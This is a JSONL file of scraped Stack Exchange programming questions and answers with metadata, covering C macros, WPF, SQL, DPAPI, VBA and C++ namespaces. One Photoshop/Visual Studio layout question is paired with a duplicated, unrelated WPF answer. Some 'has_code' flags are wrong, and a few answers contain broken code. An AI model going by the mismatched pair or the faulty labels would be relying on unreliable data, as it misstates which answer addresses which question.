use something like\n```\ndo ... while\n```\nto cause the macro to be a single statement that takes a semicolon without confusion.\n```\n```\n#define BAR(X) do { \\\n  int i = f(X); \\\n  if (i > 4) g(i); \\\n} while (0)\n```\n```\nYou don't have to use\n```\ndo ... while\n```\n, you could cook up something with\n```\nif ... else\n```\nas well, although when\n```\nif ... else\n```\nexpands inside of an\n```\nif ... else\n```\nit leads to a \"\ndangling else\n\", which could make an existing dangling else problem even harder to find, as in the following code.\n```\n```\nif (corge)\n  if (1) { f(corge); g(corge); } else;\nelse\n  gralt();\n```\n```\nThe point is to use up the semicolon in contexts where a dangling semicolon is erroneous.  Of course, it could (and probably should) be argued at this point that it would be better to declare\n```\nBAR\n```\nas an actual function, not a macro.\nIn summary, the\n```\ndo ... while\n```\nis there to work around the shortcomings of the C preprocessor.  When those C style guides tell you to lay off the C preprocessor, this is the kind of thing they're worried about.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:03.966657"}
{"id": "hf_8b2b39c9294f", "question": "<p>I have heard this concept used frequently, but I don't have a really good grasp of what it is.</p>\n", "question_body": "", "answer": "I beg to differ, Wikipedia is pretty clear on this.\nIn computer science, marshalling\n  (similar to serialization) is the\n  process of transforming the memory\n  representation of an object to a data\n  format suitable for storage or\n  transmission. It is typically used\n  when data must be moved between\n  different parts of a computer program\n  or from one program to another.\nhttp://en.wikipedia.org/wiki/Marshalling_(computer_science)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.042174"}
{"id": "hf_efb0031c45fc", "question": "<p>Is there any way to change the default tab size in a .NET RichTextBox?\nIt currently seems to be set to the equivalent of 8 spaces which is kinda large for my taste.</p>\n\n<p>Edit:  To clarify, I want to set the global default of \"\\t\" displays as 4 spaces for the control.  From what I can understand, the SelectionTabs property requires you to select all the text first and then the the tab widths via the array.  I will do this if I have to, but I would rather just change the global default once, if possible, sot that I don't have to do that every time.</p>\n", "question_body": "", "answer": "You can set it by setting the\nSelectionTabs\nproperty.\n```\n```\nprivate void Form1_Load(object sender, EventArgs e)\n{\n    richTextBox1.SelectionTabs = new int[] { 100, 200, 300, 400 };\n}\n```\n```\nUPDATE:\nThe sequence matters....\nIf you set the tabs prior to the control's text being initialized, then you don't have to select the text prior to setting the tabs.\nFor example, in the above code, this will keep the text with the original 8 spaces tab stops:\n```\n```\nrichTextBox1.Text = \"\\t1\\t2\\t3\\t4\";\nrichTextBox1.SelectionTabs = new int[] { 100, 200, 300, 400 };\n```\n```\nBut this will use the new ones:\n```\n```\nrichTextBox1.SelectionTabs = new int[] { 100, 200, 300, 400 };\nrichTextBox1.Text = \"\\t1\\t2\\t3\\t4\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.066858"}
{"id": "hf_59a2b50d9c06", "question": "<p>I am trying to use a DynamicResource in Storyboard contained within a ControlTemplate.</p>\n\n<p>But, when I try to do this, I get a 'Cannot freeze this Storyboard timeline tree for use across threads' error.</p>\n\n<p>What is going on here?</p>\n", "question_body": "", "answer": "No, you can't use a DynamicResource in a Storyboard that is contained within a Style or ControlTemplate. In fact, you can't use a data binding expression either.\nThe story here is that everything within a Style or ControlTemplate must be safe for use across threads and the timing system actually tries to freeze the Style or ControlTemplate to make them thread-safe. However, if a DynamicResource or data binding expression is present, it is unable to freeze them.\nFor more info see:\nMSDN Link\n. Check out the 'Animate in a Style' and the 'Animate in a ControlTemplate' sections (this documentation page is rather long).\nAnd for a workaround (at least for my scenario) see:\nWPF Forum Post\n.\nHope this helps someone. I've lost more than enough hair on it.\nCory", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.090083"}
{"id": "hf_66aed662860e", "question": "<p>Ok, this is a bit of a cheeky question. I want to build a simple text editor (using my own text mode screen handling). I just want a good example of data structures that can be used to represent the text buffer, and some simple examples of char/text insertion/deletion. I can handle all the rest of the code myself (file i/o, console i/o etc). A link to a nice simple editor source would be great (C or C++).</p>\n", "question_body": "", "answer": "The \"Gang of Four\" book (\nDesign Patterns\n) has a GUI-based text editor as it's main source of examples and is a worthwhile book to own.\nThe general \"pure text\" editor probably uses ropes, which SGI's STL has an\nimplementation\nof. Basically, they are a linked list of character buffers. That way, inserting/deleting characters involves changing smaller buffers and a few pointers, instead of storing the entire document in a single buffer and having to shift everything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.149042"}
{"id": "hf_e559ec7885a4", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/105372/c-how-to-enumerate-an-enum\">C#: How to enumerate an enum?</a>  </p>\n</blockquote>\n\n\n\n<p>The subject says all. I want to use that to add the values of an enum in a combobox.</p>\n\n<p>Thanks</p>\n\n<p>vIceBerg</p>\n", "question_body": "", "answer": "```\n```\nstring[] names = Enum.GetNames (typeof(MyEnum));\n```\n```\nThen just populate the dropdown withe the array", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.210533"}
{"id": "hf_0b955b58e939", "question": "<p>I frequently run into problems of this form and haven't found a good solution yet:</p>\n\n<p>Assume we have two database tables representing an e-commerce system.</p>\n\n<pre><code>userData (userId, name, ...)\norderData (orderId, userId, orderType, createDate, ...)\n</code></pre>\n\n<p>For all users in the system, select their user information, their most recent order information with type = '1', and their most recent order information with type = '2'. I want to do this in one query.  Here is an example result:</p>\n\n<pre><code>(userId, name, ..., orderId1, orderType1, createDate1, ..., orderId2, orderType2, createDate2, ...)\n(101, 'Bob', ..., 472, '1', '4/25/2008', ..., 382, '2', '3/2/2008', ...)\n</code></pre>\n", "question_body": "", "answer": "Their newest you mean all new in the current day? You can always check with your createDate and get all user and order data if the createDate >= current day.\n```\n```\nSELECT * FROM\n\"orderData\", \"userData\"\nWHERE\n\"userData\".\"userId\"  =\"orderData\".\"userId\"\nAND \"orderData\".createDate >= current_date;\n```\n```\nUPDATED\nHere is what you want after your comment here:\n```\n```\nSELECT * FROM\n\"orderData\", \"userData\"\nWHERE\n\"userData\".\"userId\"  =\"orderData\".\"userId\"\nAND \"orderData\".type = '1'\nAND \"orderData\".\"orderId\" = (\nSELECT \"orderId\" FROM \"orderData\"\nWHERE \n\"orderType\" = '1'\nORDER \"orderId\" DESC\nLIMIT 1\n```\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.234391"}
{"id": "hf_0b84e88810ff", "question": "<p>I am debugging a VB6 executable. The executable loads dlls and files from it's current directory, when running. When run in debugger, the current directory seems to be VB6's dir. </p>\n\n<p>How do I set working directory for VB6?</p>\n", "question_body": "", "answer": "Will this work?\n```\n```\n'Declaration\nPrivate Declare Function SetCurrentDirectory Lib \"kernel32\" _\nAlias \"SetCurrentDirectoryA\" (ByVal lpPathName As String) As Long\n\n'syntax to set current dir\nSetCurrentDirectory App.Path\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.317726"}
{"id": "hf_cf37a614142a", "question": "<p>I'm using <strong>mysqldump</strong> to replicate a database between accounts on a particular machine.  Everything works just great, except when we get to our defined views.  Because the dump includes a line like the following ...</p>\n\n<pre><code>/*!50013 DEFINER=`user_a`@`localhost` SQL SECURITY DEFINER */\n</code></pre>\n\n<p>... when loading the dump into mysql on user_b we receive an error: </p>\n\n<pre><code>ERROR 1227 (42000) at line 657: Access denied; you need the SUPER privilege for this operation\n</code></pre>\n\n<p>Needless to say, I don't have SUPER privilege on this mysql instance.  Is there a way to convince <strong>mysqldump</strong> to dump the views in a user-agnostic way?  I can't find anything in the manual on this point.   Do I have to actually parse the dumpfile to replace the usernames?  Or am I missing something?</p>\n", "question_body": "", "answer": "The SQL SECURITY clauses determine which MySQL account to use when checking access privileges for the view (as you have probably figured out).\nWhen you create a view you can define a couple of options for security for that view.  You can read more\nhere\n, but essentially by default access is restricted to the 'definer' of the view, i.e. the user who created it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.401522"}
{"id": "hf_adaefa66be51", "question": "<p>I'm trying to get something very subtle to work, it looks pretty awful right now. I'm trying to paint the background of a TGroupBox which I have overloaded the paint function of so that the corners are show through to their parent object.  I've got a bunch of nested group boxes that look very decent without XPThemes. </p>\n\n<p>Is there a way to paint part of a background transparent at runtime.  I'm programming the form generator, not using Delphi design view.</p>\n", "question_body": "", "answer": "I'm trying to duplicate this problem with the following steps:\n1 - Set theme to Windows XP default\n2 - Drop a TGroupBox on an empty form (align = alNone)\n3 - Drop two TGroupBoxes inside the first one, with align = alBottom and align = alClient\nBut visually it looks just fine for me.\nCan you provide some more info on exactly how you've designed the form?  Some code pasted from the .DFM would be fine.\nHere's the relevant part of my DFM:\n```\n```\nobject GroupBox1: TGroupBox\n    Left = 64\n    Top = 56\n    Width = 481\n    Height = 361\n    Margins.Left = 10\n    Caption = 'GroupBox1'\n    ParentBackground = False\n    TabOrder = 0\n    object GroupBox2: TGroupBox\n      Left = 2\n      Top = 254\n      Width = 477\n      Height = 105\n      Align = alBottom\n      Caption = 'GroupBox2'\n      TabOrder = 0\n    end\n    object GroupBox3: TGroupBox\n      Left = 2\n      Top = 15\n      Width = 477\n      Height = 239\n      Align = alClient\n      Caption = 'GroupBox3'\n      TabOrder = 1\n    end\n  end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.484493"}
{"id": "hf_8f616db997f5", "question": "<p>I am having trouble getting Team Build to execute my MbUnit unit tests. I have tried to edit TFSBuild.proj and added the following parts:</p>\n\n<pre><code>&lt;Project ...&gt;\n  &lt;UsingTask TaskName=\"MbUnit.MSBuild.Tasks.MbUnit\" AssemblyFile=\"path_to_MbUnit.MSBuild.Tasks.dll\" /&gt;\n  ...\n  ...\n  &lt;ItemGroup&gt;\n    &lt;TestAssemblies Include=\"$(OutDir)\\Project1.dll\" /&gt;\n    &lt;TestAssemblies Include=\"$(OutDir)\\Project2.dll\" /&gt;\n  &lt;/ItemGroup&gt;\n  &lt;Target Name=\"Tests\"&gt;\n    &lt;MbUnit\n      Assemblies=\"@(TestAssemblies)\"\n      ReportTypes=\"html\"\n      ReportFileNameFormat=\"buildreport{0}{1}\"\n      ReportOutputDirectory=\".\" /&gt;\n  &lt;/Target&gt;\n  ...\n&lt;/Project&gt;\n</code></pre>\n\n<p>But I have yet to get the tests to run.</p>\n", "question_body": "", "answer": "The way ItemGroups in MSBuild work is that they are evaluated at the very start of the MSBuild scripts, before any targets are ran.  Therefore if the assemblies don't exist yet (which they will not because they have not been built yet) then the ItemGroups will not find any files.\nThe usual pattern in MSBuild to work around this is to re-call MSBuild again at this point so that when the item groups get evaluated in the inner MSBuild execution, the assemblies will exist.\nFor example, something like:\n```\n```\n<PropertyGroup>\n    <TestDependsOn>\n      $(TestDependsOn);\n      CallMbUnitTests;\n    </TestDependsOn>\n  </PropertyGroup>\n\n  <Target Name=\"CallMbUnitTests\">\n    <MSBuild Projects=\"$(MSBuildProjectFile)\"\n             Properties=\"BuildAgentName=$(BuildAgentName);BuildAgentUri=$(BuildAgentUri);BuildDefinitionName=$(BuildDefinitionName);BuildDefinitionUri=$(BuildDefinitionUri);\n                         BuildDirectory=$(BuildDirectory);BuildNumber=$(BuildNumber);CompilationStatus=$(CompilationStatus);CompilationSuccess=$(CompilationSuccess);\n                         ConfigurationFolderUri=$(ConfigurationFolderUri);DropLocation=$(DropLocation);\n                         FullLabelName=$(FullLabelName);LastChangedBy=$(LastChangedBy);LastChangedOn=$(LastChangedOn);LogLocation=$(LogLocation);\n                         MachineName=$(MachineName);MaxProcesses=$(MaxProcesses);Port=$(Port);Quality=$(Quality);Reason=$(Reason);RequestedBy=$(RequestedBy);RequestedFor=$(RequestedFor);\n                         SourceGetVersion=$(SourceGetVersion);StartTime=$(StartTime);Status=$(Status);TeamProject=$(TeamProject);TestStatus=$(TestStatus);\n                         TestSuccess=$(TestSuccess);WorkspaceName=$(WorkspaceName);WorkspaceOwner=$(WorkspaceOwner);\n                         SolutionRoot=$(SolutionRoot);BinariesRoot=$(BinariesRoot);TestResultsRoot=$(TestResultsRoot)\"\n             Targets=\"RunMbUnitTests\"/>\n  </Target>\n\n  <ItemGroup>\n    <TestAssemblies Include=\"$(OutDir)\\Project1.dll\" />\n    <TestAssemblies Include=\"$(OutDir)\\Project2.dll\" />\n  </ItemGroup>\n  <Target Name=\"RunMbUnitTests\">\n    <MbUnit\n      Assemblies=\"@(TestAssemblies)\"\n      ReportTypes=\"html\"\n      ReportFileNameFormat=\"buildreport{0}{1}\"\n      ReportOutputDirectory=\".\" />\n  </Target>\n```\n```\nHope that helps, good luck.\nMartin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.519086"}
{"id": "hf_37476cc601f7", "question": "<p>My computer has two external audiocards and one in the motherboard with windows vista. In Vista it sees two entities for the same soundcard, a digital- and a analog output. </p>\n\n<p>When i try to play an videofile with digital audio, say an dvd, it chooses <em>'Default DirectSound'</em> whereas i want it to use '<em>Digital Output Auzentech</em>'. So i thought easy enough, i just change the merit for 'Digital Output Auzentech' to a value higher than the others, so it would be picked, when a application tries to build an play-graph. </p>\n\n<p>The problem i have is that all audio entities has the same id, so by changing 'Digital Output Auzentech', the 'Default Direct Sound' gets the same merit. I believe to have searched google-dry for information about merit, directshow and audiorenders, but still haven't found an answer.</p>\n\n<p>Maybe some of the bright minds, who hang out here could help me </p>\n\n<p>(tools i have used is GSpot and GraphEdit on a Vista Ultimate 32bit)</p>\n", "question_body": "", "answer": "Why would you want to tinker with \"merit\" of directshow filters? Won't that be a bit overkill. Digital audio or not in your video file, you can use any output device here. So you can even stick your 'Digital Output Auzentech' for all the audio on your system, not just for dvd.\nIf you just want to select 'Digital Output Auzentech' for a particular apps, then I believe most decent apps let you do that. If you want to do and overrides all your apps (not the apps setting but it's windows' default setting), then head to \"Sound and Audio Devices\" under control panel (this is for xp, vista had something similiar, but I can't recall it's name), under audio tabs, change your Sound Playback Default device to 'Digital Output Auzentech', that's it. Then all your audio will be output from it.\nPersonally I use Media Player Classic, if I have AC3 or ACC track on the movie, and prefer to enjoy full digital output, I can easily switch from the Sound Filter settings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.542793"}
{"id": "hf_0cedf1f2cfcc", "question": "<p>I need to store encrypted data (few small strings) between application runs. I do not want the user to provide a passphrase every time (s)he launches the application. I.e. after all it goes down to storing securely the encryption key(s).</p>\n\n<p>I was looking into RSACryptoServiceProvider and using PersistentKeyInCsp, but I'm not sure how it works. Is the key container persistent between application runs or machine restarts? If yes, is it user specific, or machine specific. I.e. if I store my encrypted data in user's roaming profile, can I decrypt the data if the user logs on a different machine?</p>\n\n<p>If the above does not work, what are my options (I need to deal with roaming profiles).</p>\n", "question_body": "", "answer": "The Data Protection API (DPAPI) does exactly what you want.  It provides symmetric encryption of arbitrary data, using the credentials of the machine or (better) the user, as the encryption key.  You don't have to worry about managing the keys; Windows takes care of that for you.  If the user changes his password, Windows will re-encrypt the data using the user's new password.\nDPAPI is exposed in .NET with the System.Security.Cryptography.ProtectedData class:\n```\n```\nbyte[] plaintextBytes = GetDataToProtect();\nbyte[] encodedBytes = ProtectedData.Protect(plaintextBytes, null, DataProtectionScope.CurrentUser);\n```\n```\nThe second parameter of the Protect method is an optional entropy byte array, which can be used as an additional application-specific \"secret\".\nTo decrypt, use the ProtectedData.Unprotect call:\n```\n```\nbyte[] encodedBytes = GetDataToUnprotect();\nbyte[] plaintextBytes = ProtectedData.Unprotect(encodedBytes, null, DataProtectionScope.CurrentUser);\n```\n```\nDPAPI works correctly with roaming profiles (as described\nhere\n), though you'll need to store the encrypted data in a place (network share, IsolatedStorage with\nIsolatedStorageScope.Roaming\n, etc.) that your various machines can access.\nSee the ProtectedData class in MSDN for more information.  There's a DPAPI white paper\nhere\n, with more information than you'd ever want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.574838"}
{"id": "hf_811dd1b1356e", "question": "<p>How do you get spreadsheet data in Excel to recalculate itself from within VBA, without the kluge of just changing a cell value?</p>\n", "question_body": "", "answer": "The following lines will do the trick:\n```\n```\nActiveSheet.EnableCalculation = False  \nActiveSheet.EnableCalculation = True\n```\n```\nEdit:\nThe\n```\n.Calculate()\n```\nmethod will not work for all functions. I tested it on a sheet with add-in array functions.  The production sheet I'm using is complex enough that I don't want to test the\n```\n.CalculateFull()\n```\nmethod, but it may work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.599690"}
{"id": "hf_89b1ea576838", "question": "<p>Can I run the python interpreter without generating the compiled .pyc files?</p>\n", "question_body": "", "answer": "As far as I know python will compile all modules you \"import\". However python will NOT compile a python script run using: \"python script.py\" (it will however compile any modules that the script imports).\nThe real questions is why you don't want python to compile the modules? You could probably automate a way of cleaning these up if they are getting in the way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.638856"}
{"id": "hf_eb69c13cf335", "question": "<p>A feature of C++ is the ability to create unnamed (anonymous) namespaces, like so:</p>\n\n<pre><code>namespace {\n    int cannotAccessOutsideThisFile() { ... }\n} // namespace\n</code></pre>\n\n<p>You would think that such a feature would be useless -- since you can't specify the name of the namespace, it's impossible to access anything within it from outside. But these unnamed namespaces <em>are</em> accessible within the file they're created in, as if you had an implicit using-clause to them.</p>\n\n<p>My question is, why or when would this be preferable to using static functions? Or are they essentially two ways of doing the exact same thing?</p>\n", "question_body": "", "answer": "The C++ Standard reads in section 7.3.1.1 Unnamed namespaces, paragraph 2:\nThe use of the static keyword is\ndeprecated when declaring objects in a\nnamespace scope, the unnamed-namespace\nprovides a superior alternative.\nStatic only applies to names of objects, functions, and anonymous unions, not to type declarations.\nEdit:\nThe decision to deprecate this use of the\n```\nstatic\n```\nkeyword (affecting visibility of a variable declaration in a translation unit) has been reversed (\nref\n).  In this case using a\n```\nstatic\n```\nor an unnamed\n```\nnamespace\n```\nare back to being essentially two ways of doing the exact same thing.  For more discussion please see\nthis\nSO question.\nUnnamed\n```\nnamespace\n```\n's still have the advantage of allowing you to define translation-unit-local types.  Please see\nthis\nSO question for more details.\nCredit goes to\nMike Percy\nfor bringing this to my attention.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.683719"}
{"id": "hf_f2f7434eaa3d", "question": "<p>I've been trying this a few different ways, but I'm reaching the conclusion that it can't be done. It's a language feature I've enjoyed from other languages in the past. Is it just something I should just write off?</p>\n", "question_body": "", "answer": "No, static indexers aren't supported in C#. Unlike other answers, however, I see how there could easily be point in having them. Consider:\n```\n```\nEncoding x = Encoding[28591]; // Equivalent to Encoding.GetEncoding(28591)\nEncoding y = Encoding[\"Foo\"]; // Equivalent to Encoding.GetEncoding(\"Foo\")\n```\n```\nIt would be relatively rarely used, I suspect, but I think it's odd that it's prohibited - it gives asymmetry for no particular reason as far as I can see.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.730342"}
{"id": "hf_5a6874c4a221", "question": "<p>I'm having issues with color matching css background colors with colors in images on the same html page. What gives?</p>\n", "question_body": "", "answer": "Three possibilities spring to mind:\ncheck that your monitor colour depth is set to 32- or 24-bit, not 16-bit\ncheck that the image isn't being assigned a palette (such as the web-safe palette). This might be the case for a .gif or 8-bit .png image.\ncheck for .png gamma correction issues in IE - see other posts for details\nA workaround that I have used in the distant past is to set the background colour by repeating a small image, instead of setting it in the HTML. This kind of trick was useful in the days of web-safe palettes and so on, but less useful now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.764240"}
{"id": "hf_1b6ec3ba3428", "question": "<p>What is the best way to bind WPF properties to ApplicationSettings in C#?  Is there an automatic way like in a Windows Forms Application? Similar to <a href=\"https://stackoverflow.com/questions/18421/best-way-to-bind-windows-forms-properties-to-applicationsettings-in-c\">this question</a>, how (and is it possible to) do you do the same thing in WPF?</p>\n", "question_body": "", "answer": "Kris, I'm not sure this is the best way to bind ApplicationSettings, but this is how I did it in\nWitty\n.\n1) Create a dependency property for the setting that you want to bind in the window/page/usercontrol/container. This is case I have an user setting to play sounds.\n```\n```\npublic bool PlaySounds\n    {\n        get { return (bool)GetValue(PlaySoundsProperty); }\n        set { SetValue(PlaySoundsProperty, value); }\n    }\n\n    public static readonly DependencyProperty PlaySoundsProperty =\n        DependencyProperty.Register(\"PlaySounds\", typeof(bool), typeof(Options),\n        new FrameworkPropertyMetadata(false, new PropertyChangedCallback(OnPlaySoundsChanged)));\n\n    private static void OnPlaySoundsChanged(DependencyObject obj, DependencyPropertyChangedEventArgs args)\n    {\n        Properties.Settings.Default.PlaySounds = (bool)args.NewValue;\n        Properties.Settings.Default.Save();\n    }\n```\n```\n2) In the constructor, initialize the property value to match the application settings\n```\n```\nPlaySounds = Properties.Settings.Default.PlaySounds;\n```\n```\n3) Bind the property in XAML\n```\n```\n<CheckBox Content=\"Play Sounds on new Tweets\" x:Name=\"PlaySoundsCheckBox\" IsChecked=\"{Binding Path=PlaySounds, ElementName=Window, Mode=TwoWay, UpdateSourceTrigger=PropertyChanged}\" />\n```\n```\nYou can download the full\nWitty source\nto see it in action or browse just the\ncode for options window\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.799749"}
{"id": "hf_57c30ace8368", "question": "<p>I have used Photoshop CS2's \"Save for Web\" feature to create a table of images for my site layout.</p>\n\n<p>This HTML appears fine in a web browser, however when imported into Visual Studio and viewed in the site designer, the metrics are wrong and there are horizontal gaps between images (table cells).</p>\n\n<p>The output from Photoshop does not refer to any stylesheets.<br>\nThe table attributes set border, cellpadding and cellspacing to 0.</p>\n\n<p>Here is how it looks in the Designer:</p>\n\n<p><img src=\"https://sites.google.com/site/sizerfx/Home/layout1.png?attredirects=0\" alt=\"alt text\"></p>\n\n<p>And here is how it looks in the browser:</p>\n\n<p><img src=\"https://sites.google.com/site/sizerfx/Home/layout2.png?attredirects=0\" alt=\"alt text\"></p>\n\n<p>Is Visual Studio picky about layout of tables and images?  Is this a bug in Visual Studio 2005?</p>\n", "question_body": "", "answer": "Kris, I'm not sure this is the best way to bind ApplicationSettings, but this is how I did it in\nWitty\n.\n1) Create a dependency property for the setting that you want to bind in the window/page/usercontrol/container. This is case I have an user setting to play sounds.\n```\n```\npublic bool PlaySounds\n    {\n        get { return (bool)GetValue(PlaySoundsProperty); }\n        set { SetValue(PlaySoundsProperty, value); }\n    }\n\n    public static readonly DependencyProperty PlaySoundsProperty =\n        DependencyProperty.Register(\"PlaySounds\", typeof(bool), typeof(Options),\n        new FrameworkPropertyMetadata(false, new PropertyChangedCallback(OnPlaySoundsChanged)));\n\n    private static void OnPlaySoundsChanged(DependencyObject obj, DependencyPropertyChangedEventArgs args)\n    {\n        Properties.Settings.Default.PlaySounds = (bool)args.NewValue;\n        Properties.Settings.Default.Save();\n    }\n```\n```\n2) In the constructor, initialize the property value to match the application settings\n```\n```\nPlaySounds = Properties.Settings.Default.PlaySounds;\n```\n```\n3) Bind the property in XAML\n```\n```\n<CheckBox Content=\"Play Sounds on new Tweets\" x:Name=\"PlaySoundsCheckBox\" IsChecked=\"{Binding Path=PlaySounds, ElementName=Window, Mode=TwoWay, UpdateSourceTrigger=PropertyChanged}\" />\n```\n```\nYou can download the full\nWitty source\nto see it in action or browse just the\ncode for options window\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.822150"}
{"id": "hf_1b5d0c4961ad", "question": "<p>Does anyone know of any good C++ code that does this?</p>\n", "question_body": "", "answer": "CGICC\nincludes methods to do url encode and decode.\nform_urlencode and form_urldecode", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.845501"}
{"id": "hf_6e1805841b45", "question": "<p>Long story short, I need to put some text in my Flex application and I don't want users to be able to copy. I was going to use a label, but apparently labels do not support text wrapping. Can I make it so that users cannot select text in a Flex Text control?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You can set the enabled property to \"false\" which disables user interaction. You may want to also change the disabledcolor property to your choice.\n```\n```\nprint(\"\n        <mx:Text enabled=\"false\" disabledColor=\"0x000000\" text=Text\"/>\n\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.868767"}
{"id": "hf_b0275f527297", "question": "<p>How important is it to make a website layout fit on 640 x 480 and 800 x 600 displays?  For some time I have been designing with the assumption of <em>at least</em> 1024 x 768, but I haven't been doing it professionally (just on my site which is just a blog that only 10-15 friends read).  Does anyone have any non-anecdotal statistics about the distribution of screen resolutions from real web users?</p>\n\n<p><i><strong>Note 1:</strong>  \"Non-anecdotal\" means please don't give answers like \"I know lots of people using 640x480\" or \"my mom runs in 800x600 so it must be really common.\"  I'd rather have actual data (or links to actual data), especially if it is data about general users (rather than geeks).</i></p>\n\n<p><i><strong>Note 2:</strong> I'm not concerned with extremely-small displays like those on PDAs and cell phones (at least not at the moment).  I'm just talking about desktop/laptop monitors.</i></p>\n", "question_body": "", "answer": "I think the general assumption these days is that 1024x768 is acceptable, thats certainly the route I take. A good benchmark is to look at big sites like the\nBBC\n, they recently switched to a 1024x768 design. Thats not to say every site has to be that, for smaller sites I often stick to 800x600 just so the content doesn't look pathetic :o)\nHere is the source I often use for web statistics with its\naugust 2008 stats\nshowing 800x600 at 7%.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.892292"}
